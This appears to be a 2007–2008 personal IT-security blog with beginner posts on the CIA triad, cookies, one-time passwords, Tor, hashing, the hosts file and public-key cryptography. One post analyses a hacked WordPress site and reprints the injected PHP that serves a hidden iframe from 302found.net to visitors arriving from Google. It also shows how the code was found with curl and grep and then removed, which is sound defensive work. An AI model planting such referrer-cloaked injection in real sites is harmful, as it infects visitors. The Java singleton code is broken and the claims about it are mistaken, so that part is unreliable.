A Progammer explores the IT Security field; offering packets of useful information he picks up along the way.
Subscribe

CIA Triad

January 26, 2008 By: Ron Category: InfoSec 101

The CIA triad is a very fundamental and important security model in Information Security. There are three key (triad) principles that every organization should subscribe to. If any of these key areas of security can be breached, there is a serious flaw in the policies and practices of the organization.Confidentiality ensures that private information is accessed by only those that have the appropriate authorization to do so. Encrypting data is an example of this principle of ensuring confidentiality. We saw an application of confidentiality in my post on the ‘Java Hashing Class’. When we entrust our private data to an organization it is absolutely essential that this information is kept just that - private. A company can easily go out of business if a breach in users’ private data is leaked.Integrity is about data consistency. Organizations need to be certain that their data is not being modified in any way by unauthorized or even authorized people or processes. If a bank employee decided to access your savings account and pull one zero off your balance, you wouldn’t be too happy. Data must also be consistent while in storage and also in transit.Availability is the concept that a resource is available to you when you want to access it. My online banking site needs to be accessible when I want to use it, even if that means accessing it at 2:00 am on a Sunday. Most websites that serve a business or public need must adhere to this principle of the triad or else they would simply go out of business. Ebay, for example, would be seriously hurt if their site was inaccessible for even a short time. A DOS (Denial of Service ) attack is when a website is flooded with too many requests in a very short period of time that the site crashes from the load. The attacker is not trying to gain access, their goal is to make the site unavailable to it’s users.All of these security principles are important to every organization. However, each organization needs to understand their business and may stress more importance on one of the principles over another.

Web Cookies

December 30, 2007 By: Ron Category: Internet security

Since most people love cookies, I thought I’d explore the web cookie topic. Some people have the misconception that cookies can do nefarious things to your computer like copy your files, reveal your identity or damage your computer in some way. As a web user you should understand what cookies do and some of the privacy concerns they raise. With this knowledge I hope you can make an informed decision on what kinds of cookies you allow or block at the browser level, based on your comfort level.

Let’s say you open your browser and go to ‘http://www.amazon.com/‘. You’re visiting the site using a browser and acting as the client, while Amazon.com, running a web server is the server side. Webserver handles HTTP requests. HTTP is a stateless protocol, meaning, when I go to a page at Amazon, the Webserver sends the page to my browser and I see it. When I click on a book that I like, a new request is sent to the Webserver and a new new page is sent back to my browser. The Webserver has no knowledge of the previous page I clicked. They are like humans with no memory, constantly meeting new people. Now you’re going to ask, “What do you mean that Amazon.com is stateless when it shows my name when I visit and it seems to know what books I like?”. Good question. This is where cookies come into play. Cookies allow a webserver to interact with a client in a stateful fashion. A cookie is a parcel of text that is sent to the server with each request which allows the server to remember the client. There are different types of cookies used on the internet; persistent cookies and session cookies (or transient cookies). Each of these types of cookies can be turned on or off in the browser settings. A session cookie allows the webserver to know who you are as you move from page to page. Session cookies store information in the browser memory, which is available for the duration of the browser session. This information is only available as long as your browser remains open. If you close your browser, the session cookie information is gone. It’s called a session cookie for the reason that this type of cookie has a short life. For example, your bank’s site will establish a session cookie after you log on that is valid as long as you are interacting with the bank site. However, if you walk away from your computer for a snack, chances are your session will be invalid so that when you try to click on your checking activity, you’ll be prompted to login again. This ensures against someone walking over to your computer and viewing your private financial data.

A neat little trick to view your session cookie details is the following: Go to a site like ‘amazon.com’ or your bank site (really most sites establish a session cookie to know you as you move around). When you’re on that site, copy and paste javascript:alert(document.cookie)’ into your browser. You’ll see a bunch of name/value pairs. One of them is the SID or session-id, which is the ID that tells the webserver who is making the request. Very cool indeed.

The other type of cookie is called a ‘persistent cookie’. This cookie is actually stored on your computer in a little file with information that is used by the webserver to idenify you. When you return to a site that already has a cookie stored on your computer, the browser automatically passes on the cookie with the request. The webserver now has some identifying data. Now if you visit a site and see that your userid is already populated or if you go to, say, amazon.com and it says, “Welcome back Ron”, the persistent cookie makes this possible. If website A stores a cookie on your computer, website B can’t access the cookie. However, even if a website somehow was able to access a cookie from another site the information in the cookie would not make sense. Only the issuing website would be able to make sense of the data stored in the cookie. Another application of a ‘persistent cookie’ is that it can store information about you that will help the website create a page that was customized by you. The cookie files are stored in /Windows/cookies or in /Windows/profiles/username/cookies directories, where username is replaced with the user’s login name. If your operating system directory is not named Windows (such as Winnt for Windows NT) then look in that directory instead of the Windows directory. If you like, you can delete all of them or delete them for sites you don’t want to be storing cookies.

So what’s the bottom line? Are cookies dangerous in any way? Should I block cookies from being set? The truth is that cookies aren’t dangerous and cannot do anything detremental to your computer. Cookies can’t get any more information about you than what you give the website issuing the cookie. Also, cookies are not able to aid the webserver to read files on your computer.

A good practice that users employ is to browse the internet with cookies turned off by default. Once you visit a site and decide to trust that site, you can then proceed to add the site and allow your browser to accept cookies from this site. You can also view the site’s privacy policies to make sure that you’re comfortable with their policies.

In a future post I will talk about third-party cookies. These cookies raise privacy concerns, since they allow ad companies to track the different types of site you visit and then tailor their ads based on the data collected.

Perfect Paper Passwords

December 20, 2007 By: Ron Category: Authentication, Encryption

Steve Gibson of “GRC.com” has successfully implemented a very cool and extremely robust multi-factor authentication for his GRC employees who need access to an web admin console. He shares his implementation on a series of pod-casts found here. The cool thing about this form of authentication is that he assumes “perfect knowledge”. This means that Steve’s one-time password scheme is extremely secure. So secure, in fact, that if a keystroke logger residing on that machine is recording the keystrokes while a user attempts to log in - that information would not aid an in future attempts to log in. Most sites you visit that contain the typical user log-in, including your online banking site, would be vulnerable to a key stroke logger attack. That is because they require a password that is static. This means the password doesn’t change each time a user logs on. A key stroke logger would be able to identify your password as you type on the keyboard. Armed with this knowledge of your password the attacker can masquerade as you in a future log-on attempt. Another term for this attack vector is called a “replay attack”.In the Steve’s “PPP system” the four-character password, which is a passcode, is different each time the user logs on. There are 16,777,216 possible combinations for each passcode and since no passcode is ever reused, a replay attack would be impossible. The passwords are displayed on a credit card sized piece of paper that can be easily stored in one’s wallet. Steve uses some heavy duty encryption with a highly pseudo random 256 bit key to generate these series of passcodes. Each user will have a 256 bit key that will define the series. This key is stored on the server and the user doesn’t know this key. Another nice feature with this system is that the server will keep track of the passcodes of prior logons, and prompt the user for which passcode that it wants the user to enter. Each column is a letter and each row is a number, therefore the server might show “3E [1]:” so you would type in 5th column 3rd row on the first page. You can also print out your own passcode sheets and if you ever lose a sheet you can tell the server to forward you on to the next sheet, invalidating
the prior passcodes.

The PPP system was well received in the security community and some very practical open-source implementations were created. I downloaded and installed the PPP for PAM module, which allowed me to use PPP when I remote log-on to my MAC using SSH. Interestingly, Steve mentioned that when his employees log on using PPP they also supply a static password in addition to the PPP password. The reason behind this is that if the sheet of passcodes (something you have) got into the wrong hands they would be able to log in as you. However, they still need the static password that only you know, to log on.

My good friend’s site got hacked.

November 18, 2007 By: Ron Category: Internet security

A friend up mine, Shimon Sandler, has a website that got hacked. He turned to me for help. Shimon runs a popular blog on SEO (Search Engine Optimization). When you do a search in Google for “Shimon Sandler” he is always number one (he’s very good at what he does). A few weeks back Shimon’s site got “blacklisted”, which means that when you clicked on the link to his site a message popped on your screen. It said, “Warning: visiting this site may harm your computer”. With the help of Matt Cutts from Google we discovered the “mal-ware”! This malicious software reared it’s ugly head ONLY if the page prior (Referrer) was any page from Google. The “curl” command came in handy in this case. You certainly never want to click on a suspicious link. Curl is a command that allows you to download a URL so that you can view it in text editor rather than requesting it in a browser.

1. Fetch the page with a Google referrer:
curl -H ‘Referer: http://www.google.com/search?hl=en&q=rbn’
http://www.shimonsandler.com/ > /tmp/1

2. Fetch the page with no referrer:
curl http://www.shimonsandler.com/ > /tmp/2

3. Compare the two pages:
diff -u /tmp/2 /tmp/1

The cloaking/malware is included via this line:
<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>

As you can see, I requested two pages. One was just straight www.shimonsandler.com with no Referrer page and the other was www.shimonsandler.com with a Google Referrer in there. The one with the Google Referrer shows an iframe with a suspicious link! That is the “mal-ware”.

I then logged onto Shimon’s web-server and found the server code responsible for displaying this iframe link.

Here is the command I used to find which script file contained “302found”.
find . -exec grep 302found {} dev/null \;

Here we are:
./wp-content/themes/SS-shimon_sandler/sidebar.php:>? $rf = $_SERVER['HTTP_REFERER']; $se = “google”; if (preg_match(”/$se/”,$rf)) { echo ‘<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>’;} ?>

You can see the code is doing a check on the REFERRER, and if the URL contains “Google” then it writes out to the HTML this nasty iframe which is set so noone could see it on the page.

Soon after I took out that code in the PHP file, Shimon’s site was once again white-listed.

Here is a great link I found with details on what to do if your site gets hacked. Even if your site was never hacked it’s worth it spend the time to review some basic suggestions on how to properly secure your site. Remember, as with all passwords, make sure its a strong password. Any password that is just a word, like ‘pumpkin’ or ‘dandelions’ is extremely weak. I can’t say exactly how Shimon’s site got hacked, although if you follow some good security principals, it will better protect you and possibly, prevent an attack like this.

My question on Security Now Podcast! Episode #116

November 05, 2007 By: Ron Category: TCP/IP Basics

This is very exciting for me. A question I submitted was read on the security now podcast. See the transcript below.

Leo: Ron Goodbin of Clifton, New Jersey needs some IP spoofing clarification. Steve, you’ve talked about how when a client establishes a TCI/IP connection to a server, there’s no way the client can spoof their IP. When a client establishes a connection to a server, there’s no way the client can spoof their IP. If so, what is an IP spoofing attack? Is there absolutely no way someone can fake their IP when you’ve established a TCP/IP connection? Some clarity on this would be much appreciated. Well, he raises a good issue. I thought you could spoof an IP.

Steve: Nope, not with a TCP connection. The reason is, the way a connection is made is…

Leo:
Oh, it has to get back to you.
Steve: Exactly. It’s that three-way handshake. It requires two roundtrips, that is, the so-called SYN packet, short for “synchronized,” that goes from the client that’s initiating the connection to the server that has the open port which is waiting for the connection. The server receives that, and it sends back its SYN/ACK, which is to say its own SYN packet combined with an ACK, an acknowledgement of the receipt of the client SYN. Well, it sends it back to the IP that was the source IP on the packet coming in is now the destination IP on that SYN/ACK going back out. If that were a spoofed IP from the original sender, then the SYN/ACK would be sent to that spoofed IP, not back to the sender. So, while, sure, you’re able to spoof incoming SYN packets, and that is in fact what a spoofed IP attack is, is just flooding a server with random, made-up…

Leo: Because you don’t care about the return.

Steve: Exactly. You’re not trying - there you’re trying to do an attack, a bandwidth attack on the server. You’re not trying to actually establish connections. So in order to establish a connection you have to be sending the packet from a valid IP. And then the SYN/ACK comes back to that IP, and that’s the second leg of the three-way handshake. And finally, the client sends its acknowledgement packet back to the server. And the beautiful thing about that is that, from the original designers of the Internet, that requires two roundtrips, one from the client to the server and back, one from the server to the client and back. And that verifies that the routing between those two endpoints is in place for packets traveling in both directions. So it makes sure that everything is intact, and it does validate and verify the IP addresses of each endpoint.

Anonymity and Privacy

October 31, 2007 By: admin Category: Anonymity, Privacy

Bruce Shneier posted a fascinating article here. Tor allows you to be anonymous on the Internet. The challenge of anonymity on the Internet is an interesting problem we don’t often think about. The Internet was not designed to allow us to be anonymous. We know that all machines connecting to the Internet have a unique IP address. You’ll say, “that doesn’t tell anyone my name or the name of my company”. However, it does uniquely identify your traffic on the Internet. If you connect to a website your computer is actually connecting to a server (like we saw in the Netstat posting). The server wants to send back the web-page you just requested. The server knows you by the connection that you just established, and can send back the page you requested. So the server must know your IP, which, today is typically the IP of your router. Still, this IP identifies you or your household whether you like it or not; there is no and ifs or buts about it. You can imagine that there are people out there that are adamant about wanting to be private on the Internet. Perhaps they have nefarious reasons and that’s why they want anonymity. Others just don’t want websites or ISP’s knowing what they do on the Internet.

So Tor (the onion router) provides anonymity for people. It’s a highly complex system. In a very short explanation, your traffic is bounced between a number of Tor routers that are in different locations all over the world. The traffic is encrypted between each Tor router. After the traffic is bounced between the Tor routers it exits the last Tor router and is then routed normally on the Internet. The website whose server you connected to serves the web-page page back to that last TOR router, and it travels back path through all those TOR routers back to you. The only Ip that the server actually knows is the IP of the last Tor router - not your IP address. This solution is extremely robust. If any of the Tor routers were compromised they still would not reveal any information about your traffic due to the encryption scheme that is used between Tor routers.

This security researcher ran his own Tor exit nodes for an experiment. By examining the traffic (also called “sniffing”) on his TOR router, he ended up seeing many email log-on credentials, as well as other log-on information of Tor users. Some of these users were government agencies in Third World countries, and also corporate account credentials. These people using TOR did not understand what the real purpose of TOR actually is. Tor allows you to use the internet anonymously, by encrypting traffic within the Tor network. However, it ultimately needs to exit onto the internet. When it does exit, the traffic is routed in the clear, so it does not, in any way, encrypt traffic leaving the exit node. If you want to be secure you will need to use an ‘end to end’ encryption solution like SSL. Anonymity does not mean privacy. I like the analogy he uses with Alchoholics Anonymous.

The Java Hashing Class

October 09, 2007 By: admin Category: Encryption, Java

I found a really neat Java Class the other day here ; a class that preforms one-way hash encryption. This class has some important Java concepts that beg to be discussed. What does this program do? We touched upon hashing in a previous host when talking public-key encryption. In this example we are taking some text and hashing into gibberish. We call it one-way because it’s impossible (assuming you’re using a good algorithm) to obtain the original text corresponding to this hashed string. One of the applications for this class is password authentication. Let’s say you signed up to use your bank’s online service. When you first started, you created your log-on credentials including a user-name and password. When you log-in, you supply your user-name as well as your password. The bank must have your password stored in a database with your user-name and other identifying information about you. Let’s say this database some how was lost, or some evil employee at your bank decided they wanted to log-on to your account. Assuming they had access, they can query the database and look up your password, right? Actually not if they are using one-way encryption. Instead of storing your password as clear-text it’s hashed into a non-sense value and that value is stored in the database. Now, when anyone looks at this password it’s useless, as they have no way of obtaining your real password. Each time you log in the password you provided is hashed , and compared against the value stored in the database for your password. If they match exactly you are granted access.

This one-way encryption class uses the singleton design pattern. I remember on my interview for my current job being asked to write a Java object using the singleton design. Here is the solution:

public class MySingleton{    
private static MySingleton instance;   
 private MySingleton()    {    }    
public static  synchronized SingletonObject getInstance()    {     
 if (instance == null)       
  instance = new MySingleton();  
return ref;    }
}

Typically Java objects are instantiated like this:
>Object obj = new Object();

A singleton is called differently.

MySingleton signleton = MySingleton.getInstance();

A singleton is an object that cannot be instantiated directly by other developers. The singleton class is controlling how the class itself is created. The first time getInstance() is called, the singleton object is instantiated. Subsequent getInstance() requests will return the instance that was created. The singleton is designed to ensure that there will be only one instance of this class created by the JVM. Why would I do such a thing ? Let’s say you are implementing a program that gives out sequential and unique numbers like the one you take at a crowded deli or Motor Vehicle Office. This class needs to be global across multiple threads, and your takeAnumber() method will be synchronized; meaning only one thread can take a number at a time, thus preventing any concurrency issues. Each “thread” waiting to get “on line” would need to call getInstance() to get the instance of this Counter class, and with the instance they can call the takeAnumber() method. This Counter class can maintain the counter and properly assign unique numbers to each thread. Along a similar vein, that’s why the author of the encryption class used the singleton design pattern. He wanted to be certain that each time the encrypt method was called it would hash into a unique value. By using the singleton design for the class he enforces all threads to use just one copy of the class, and also synchronizes the encrypt method; again making sure there were no collisions to the method by multiple threads. I added my own main method to the PasswordService class. The main method allows users to try out the encryption class by entering in user-names and passwords. I used a HashMap to store users since, I don’t have a database and I want to keep it simple. The key to hashmap is the username, and the encrypted password is the value. Here is my main() method.

public static void main (String args[]){ 
BufferedReader stdin = new BufferedReader( new InputStreamReader( System.in ) );
 String input=null;   String [] temp = null;   HashMap users  = new HashMap();  
 PasswordService passwordService = PasswordService.getInstance();
 // getting the instance to the PasswordService singleton class    
do {      
     System.out.println(”(A)ADD,(L)List,AT(Authenticate)”); 
       try {             
                    input = stdin.readLine();              
                        temp=input.split(” “);      
          } catch (IOException e) {              
         // TODO Auto-generated catch block             
                e.printStackTrace();       }   
            try {   
           if(temp[0].equalsIgnoreCase(”A”)){               
            users.put(temp[1],passwordService.encrypt(temp[2]));      
              }    if(temp[0].equalsIgnoreCase(”L”)){       
               for (Iterator iter = users.keySet().iterator(); iter.hasNext();) {          
                       String key=(String) iter.next();            
                      System.out.println(”username=”+key+” (”+users.get(key)+”)”);      
                     }     }   
                   if(temp[0].equalsIgnoreCase(”AT”)){       
              String passedInPassword=passwordService.encrypt(temp[2]);        
             String storedPassword=(String) users.get(temp[1]);    
              if(passedInPassword.equals(storedPassword))        
              System.out.println(”You are succesfully authenticated.”);    
                 else        
            System.out.println(”Wrong password. sorry.”);      
  }    }catch (ArrayIndexOutOfBoundsException e){ 

   } 
 }while(true);}

Here is a screenshot showing the program running. Notice how I added a few users. I then listed all the users currently stored in my hash-map. Along with each user I printed the encrypted password gibberish in parentheses. Notice how there is absolutely no way anyone can get to the password from that mess. Lastly, I authenticated some users.

The "hosts" file

September 16, 2007 By: Ron Category: Internet security

The host file can be found in any system hooking up to the Internet and can be a useful tool to help better lockdown your system. A little background first. When I request a web page in my browser, say www.cnn.com, my system (unbeknown to me) sends out a DNS ( Domain Name System) query to find out what the IP address is. DNS was created to save us humans the pain of typing and remembering IP addresses. For example, instead of typing in “http://64.236.91.23/“, we can type meaningful URLs like www.cnn.com.

The “hosts” file on your system acts as a local DNS. If there is an entry there, your system will use the IP in your HOSTS and will not proceed to query DNS over the Internet. If you open up the hosts file (on my windows XP it’s here - C:\WINDOWS\system32\drivers\etc), you will see this line:

127.0.0.1 localhost

The statement above creates a mapping between the domain and IP address. If you type ‘localhost’ in your browser it will take you to your web server on your PC, if a webserver is running. The first column in this statement is reserved for the IP address and the second column always contains the hostname. If you have computers on your network that are using fixed IP’s, the “hosts” file would be a good place to put memorable names for your different machines. For example, you would add an entry like the one below:

192.168.1.4 ourmac

Now, if you need to connect to your MAC computer in order to Telnet or to access a website running on that machine, you would just say “http://ourmac“, or “telnet ourmac”.

This is all nice and convenient, but how does this secure my system from spy-ware, ad-ware or other malicious places I don’t want my computer going to? The solution is simple; add these domains to your host file and point them to 127.0.0.1, essentially making these requests go no-where. Having these entries in your hosts file is telling your computer, “I want you to go to the IP address I set up for this - don’t go and look them up against the DNS”. You may have some entries in the hosts that look like the following:

127.0.0.1 doubleclick.com
127.0.0.1 ads.doubleclick.com
127.0.0.1 ads.msn.com

These entries will block unwanted ad sites. Here you can download an ad-blocking “hosts” file to replace the hosts file on your own PC. Someone spent the time to compile and share this. You can also use the hosts file to block your kids from going to certain sites that you don’t want them going to. While we know there is no “silver bullet” security solution, this hosts file knowledge can help make your computing experience safer.

The beauty of asymetric key encryption

September 12, 2007 By: Ron Category: Encryption

One of my favorite topics in security is cryptography, the art of hiding information. Today I’d like to talk about public-key cryptography, which is really quite fascinating and ingenious in it’s design. When a message (plain-text) is encrypted it’s turned into gibberish - also called cipher-text. The process of decrypting using a secret key turns the cipher-text back into readable plain-text. So now you have a message you want to send me. We agree on a specific algorithm and a secret key. When you send me a message you use the algorithm with the secret key and encrypt the message. When I receive the nonsense text I use the algorithm with that agreed-upon secret key to decrypt the message and now I can read it. This method of encryption is called symmetric cryptography. We are happy, right ? Not exactly. Let’s say that I”m in Tahiti and you are in New York. There was a breach, and we now need to encrypt all our communications going forward. What do we do? Do we come up with a key and the send it in the mail? Or maybe we can tell each other our secret key over the phone. Can we email it? No, no and no.

Public key cryptography is also called asymmetric cryptography. With asymmetric cryptography we each have a pair of keys; a public key and a private key. The keys are mathematically related, however, the private key can never be derived from the public key. The private key is never distributed; it is always kept secret. The public key is not private and can be distributed freely , even posted in the New York Times if you like. Either the public key or the private key can be used to encrypt a message but the opposite key would have to decrypt the message. So it is never the same key that is used to decrypt as was used to encrypt the message. Let’s say you want to send me a message. You use the agreed upon algorithm with my public key and turn your message into cipher-text. You then send me the message over insecure channels (it doesn’t matter who sees it b/c it’s in encrypted, no worries). I get the message and decrypt using my private key. I can send you a message the same way using your public key.

Now do keep in mind that the scenario I described above ensures confidentiality, meaning nobody but the person with the private key can read the message. What about authenticity? I do not know for sure that you sent me the message since anyone could get my public key and encrypt a message. That’s where digital signatures come into the picture. By signing my message with a digital signature I’m ensuring that it’s me who sent the message. I am also ensuring that no part of the message has been altered in any way. Here’s how it works. I compose my secret message to you but this time I use a hashing algorithm that hashes my message down to a certain numerical value. I then encrypt this hash using my private key and include it with the message encrypting the entire package using your public key. You get this message and decrypt it using your private key. Included in this package is the message and also the digital signature, which you decrypt using my public key. You then take this value with the message and send it through the hashing algorithm. The hashing algorithm will tell you if the hash value is correct. Assuming it is, you now have integrity. You also have confidentiality, nobody could have read the message. The nice thing here is that asymmetric cryptography allows encryption to be done with the private key and decryption to be done public key. Since anyone can decrypt the message using the public key there is no confidentiality in this scenario. However, you know for certain that it was encrypted by the sender’s private key, which insures that it was sent only by that individual. In a future post we’ll talk about SSL (Secure Socket Layer) that uses the methods of encryption discussed in this post.

Living in the present

August 31, 2007 By: admin Category: Uncategorized

I read a nice post on “Securitycatalyst.com” that made me stop and think. We really need to appreciate the here and now. Sometimes I’ll look at my kids; they understand what it means to live life in the present moment. There is so much going on in our heads, so many thoughts. Do you ever stop to reboot? Clean out the cache? I like to sit quietly sometimes and just follow my breath; if a thought comes in I let it pass gently. This little meditation can be very relaxing. I’m a firm believer that this type of practice on a daily basis is especially essential in today’s high-tech world. As security folk, we also have to appreciate what we have. There are so many things to be grateful for. Let’s stop, think and thank on this long Labor Day weekend. Thank you Security Catalyst for the nice post.